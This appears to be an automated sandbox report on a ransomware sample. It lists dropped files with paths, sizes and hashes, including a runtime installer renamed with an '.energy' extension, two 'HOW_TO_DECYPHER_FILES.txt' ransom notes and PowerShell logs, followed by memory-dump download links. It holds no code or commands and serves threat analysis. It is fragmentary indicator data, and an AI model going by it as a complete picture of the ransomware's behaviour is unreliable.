vc_runtimeAdditional_x86.msi.energy[[email protected]]

Path C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
Size 180KB
SHA256 62a7a94ee6ba47a4a6eeeb56aa3a3f2c2c0b82e7dba13fe02d0c3ae651aec2f7
MD5 9afedf9ef863684501e162180a8d4f6b
SHA1 ed151232446bf6e78772b7c8b39fcd69170a0685
SHA512 565becd649c60bf969651e9c7a6592d3bf97b90622c0a4c39b645203766dc0d098da5fd93b9d07fc52c476c520fa16a74e208fed0c4fe68c65535a9d80683a52
SSDEEP 3072:yCSyGJjl+UtX9LCA+LulC1vOE1Gt25SOXZ2SUXcbuoCMvFOu8S6d+dkB3k35xzpI:elXtB1+60vO85S8Z2Sqg188kBU3HpY4u
TLSH
T1D8041331A915EA5B8700D36AD6C1D7A00A147BED7ECFA78003471E0167E5B7EBBD2507
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 91ec16863db955c17fa8e4bf68b2daf79369def1e06024db704c1fc4e82fb793
MD5 9b8525a05fbd209af07ff567da2eb5b8
SHA1 bf0f49518e7d2485569b23e2743352ee395c4876
SHA512 231af8a5e4d5c3a7472f6e4dea388f2c92f880b4b58669661cc74376d7fd3baabf702eea869b636f8974106c8c8e281e21c73f880d764e9f92b05cdee60ebc49
TLSH
T183112223F38C8920CC96563A509DAC5172B586CB91AFDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

HOW_TO_DECYPHER_FILES.txt

Path C:\Users\Admin\AppData\Local\Temp\HOW_TO_DECYPHER_FILES.txt
Size 779B
SHA256 9a104edaa12abf3021eb1c225a392c262b0fb50631c5f0a5cb7cda186450488e
MD5 2b736dcc98b9f152632a90570e878d2d
SHA1 7a5b8a3e54e406d4056632a3cfd97669fc9b8e6b
SHA512 397b62cd93aa22b891f8ad61a0d8e2b6e6a6f87a0d6bca83218489cfa8028b9ea431900207bdfc5e531cb8953e6066e9656e88e077757ad4f6db57b67524b2c9
TLSH
T15E01750532ED6BB3188394EBB9C1751006BDE77311995B92C93CAC86959CD277004FFB
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uuoplgar.jnw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uuoplgar.jnw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

HOW_TO_DECYPHER_FILES.txt

Path C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
Size 828B
SHA256 84e2875db169713395345bf6a70950af62dca14606bd533b84a6e03e030e397e
MD5 051da057298e97dd57077e30c6dc4c5f
SHA1 d04ae5acb863aef55b09d0857f2f0ec351214f99
SHA512 0c53d2b026e257d0e4d74650b47011bdce05dba7667e50854b581fc36fe51f11d04e7f749746ce8868b66a4de1435318fa3d2e7f51714940cf2612e9f53951d2
TLSH
T1E501864632EE5BE218C350EB79C1761006ADE77711891AD1D93CBD46968CC2B3084FFB
MD5 SHA1 SHA512 TLSH

Submit Download

memory/556-64-0x0000023E02230000-0x0000023E02585000-memory.dmp

Download

memory/728-78-0x000002943E070000-0x000002943E3C5000-memory.dmp

Download

memory/752-88-0x0000022B30800000-0x0000022B30B55000-memory.dmp

Download

memory/936-56-0x000001AE2A3B0000-0x000001AE2A705000-memory.dmp

Download

memory/1056-57-0x00000201D6270000-0x00000201D65C5000-memory.dmp

Download

memory/1084-86-0x00000243BEA20000-0x00000243BED75000-memory.dmp

Download

memory/1124-93-0x00000205916B0000-0x0000020591A05000-memory.dmp

Download

memory/1508-61-0x000002050F9A0000-0x000002050FCF5000-memory.dmp

Download

memory/1536-43-0x000002D161690000-0x000002D1619E5000-memory.dmp

Download

memory/1568-75-0x000001A9967C0000-0x000001A996B15000-memory.dmp

Download

memory/1640-6-0x000001ED8C870000-0x000001ED8CBC5000-memory.dmp

Download

memory/1844-72-0x00000252F0120000-0x00000252F0475000-memory.dmp

Download

memory/1996-46-0x000001D9641F0000-0x000001D964545000-memory.dmp

Download

memory/2004-73-0x0000024451F30000-0x0000024452285000-memory.dmp

Download

memory/2232-50-0x0000026DB9610000-0x0000026DB9965000-memory.dmp

Download

memory/2256-80-0x000001A9DBD00000-0x000001A9DC055000-memory.dmp

Download

memory/2600-83-0x0000021072C90000-0x0000021072FE5000-memory.dmp

Download

memory/2816-81-0x000001F8EA5C0000-0x000001F8EA915000-memory.dmp

Download

memory/2980-65-0x00000281F09E0000-0x00000281F0D35000-memory.dmp

Download

memory/3036-47-0x000001870E6A0000-0x000001870E9F5000-memory.dmp

Download

memory/3168-60-0x000002C4984B0000-0x000002C498805000-memory.dmp

Download

memory/3200-44-0x0000024EECAF0000-0x0000024EECE45000-memory.dmp

Download

memory/3336-413-0x000000001B010000-0x000000001B365000-memory.dmp

Download

memory/3336-158-0x000000001B010000-0x000000001B365000-memory.dmp

Download

memory/3336-185-0x0000000000E00000-0x0000000000E10000-memory.dmp

Download

memory/3336-159-0x0000000000CA0000-0x0000000000CAC000-memory.dmp

Download

memory/3336-0-0x00000000004D0000-0x00000000004EA000-memory.dmp

Download

memory/3336-616-0x0000000000CA0000-0x0000000000CAC000-memory.dmp

Download

memory/3336-615-0x000000001B010000-0x000000001B365000-memory.dmp

Download

memory/3336-1-0x0000000000E00000-0x0000000000E10000-memory.dmp

Download

memory/3404-66-0x0000025730C80000-0x0000025730FD5000-memory.dmp

Download

memory/3420-74-0x000001A870080000-0x000001A8703D5000-memory.dmp

Download

memory/3464-91-0x0000022CB10D0000-0x0000022CB1425000-memory.dmp

Download

memory/3532-55-0x0000015B18A80000-0x0000015B18DD5000-memory.dmp

Download

memory/3540-95-0x00000150F7A20000-0x00000150F7D75000-memory.dmp

Download

memory/3548-62-0x0000023698F00000-0x0000023699255000-memory.dmp

Download

memory/3584-85-0x000001842D9C0000-0x000001842DD15000-memory.dmp

Download

memory/3828-42-0x0000025445770000-0x0000025445AC5000-memory.dmp

Download

memory/3884-94-0x000002943D1F0000-0x000002943D545000-memory.dmp

Download

memory/3944-37-0x00000212A2270000-0x00000212A25C5000-memory.dmp

Download

memory/3956-69-0x000001CDE98B0000-0x000001CDE9C05000-memory.dmp

Download

memory/4008-63-0x000001B8B2B70000-0x000001B8B2EC5000-memory.dmp

Download

memory/4016-68-0x000002DBD8F60000-0x000002DBD92B5000-memory.dmp

Download

memory/4092-58-0x000001B435D40000-0x000001B436095000-memory.dmp

Download

memory/4180-49-0x00000290883B0000-0x0000029088705000-memory.dmp

Download

memory/4244-70-0x000001EBF7750000-0x000001EBF7AA5000-memory.dmp

Download

memory/4280-79-0x000001E3250C0000-0x000001E325415000-memory.dmp

Download

memory/4344-39-0x000002609C700000-0x000002609CA55000-memory.dmp

Download

memory/4444-71-0x000002729DA90000-0x000002729DDE5000-memory.dmp

Download

memory/4580-651-0x00000184264B0000-0x0000018426805000-memory.dmp

Download

memory/4580-77-0x0000024EA2840000-0x0000024EA2B95000-memory.dmp

Download

memory/4688-87-0x0000015422EA0000-0x00000154231F5000-memory.dmp

Download

memory/4936-92-0x000002BA70F90000-0x000002BA712E5000-memory.dmp

Download

memory/5012-45-0x0000026BF8A10000-0x0000026BF8D65000-memory.dmp

Download

memory/5024-76-0x0000017699C00000-0x0000017699F55000-memory.dmp

Download

memory/5092-112-0x00000249E0F40000-0x00000249E0F4C000-memory.dmp

Download

memory/5092-111-0x00000249DF4C0000-0x00000249DF661000-memory.dmp

Download

memory/5092-21-0x00000249E11A0000-0x00000249E11C2000-memory.dmp

Download

memory/5112-59-0x000002EDEE9E0000-0x000002EDEED35000-memory.dmp

Download

memory/6004-619-0x000002147D0D0000-0x000002147D425000-memory.dmp

Download

memory/6004-631-0x000002147D0D0000-0x000002147D425000-memory.dmp

Download

memory/6004-643-0x000002147D0D0000-0x000002147D425000-memory.dmp

Download

memory/6004-645-0x000002147D0D0000-0x000002147D425000-memory.dmp

Download

memory/6004-649-0x000002147D0D0000-0x000002147D425000-memory.dmp

Download

memory/6324-624-0x000001FAB9120000-0x000001FAB9475000-memory.dmp

Download

memory/6324-636-0x000001FAB9120000-0x000001FAB9475000-memory.dmp

Download

memory/6324-650-0x000001FAB9120000-0x000001FAB9475000-memory.dmp

Download

memory/6324-160-0x000001FAB9120000-0x000001FAB9475000-memory.dmp

Download